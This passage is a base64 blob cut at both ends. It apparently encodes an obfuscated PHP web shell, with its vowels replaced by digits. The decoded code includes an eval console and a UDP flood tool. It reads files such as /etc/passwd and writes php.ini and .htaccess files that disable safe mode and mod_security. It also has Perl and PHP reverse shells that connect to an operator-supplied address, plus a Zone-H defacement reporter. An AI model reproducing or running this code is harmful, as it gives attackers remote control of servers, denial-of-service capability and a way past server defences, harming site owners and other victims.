pDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkpOw0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkV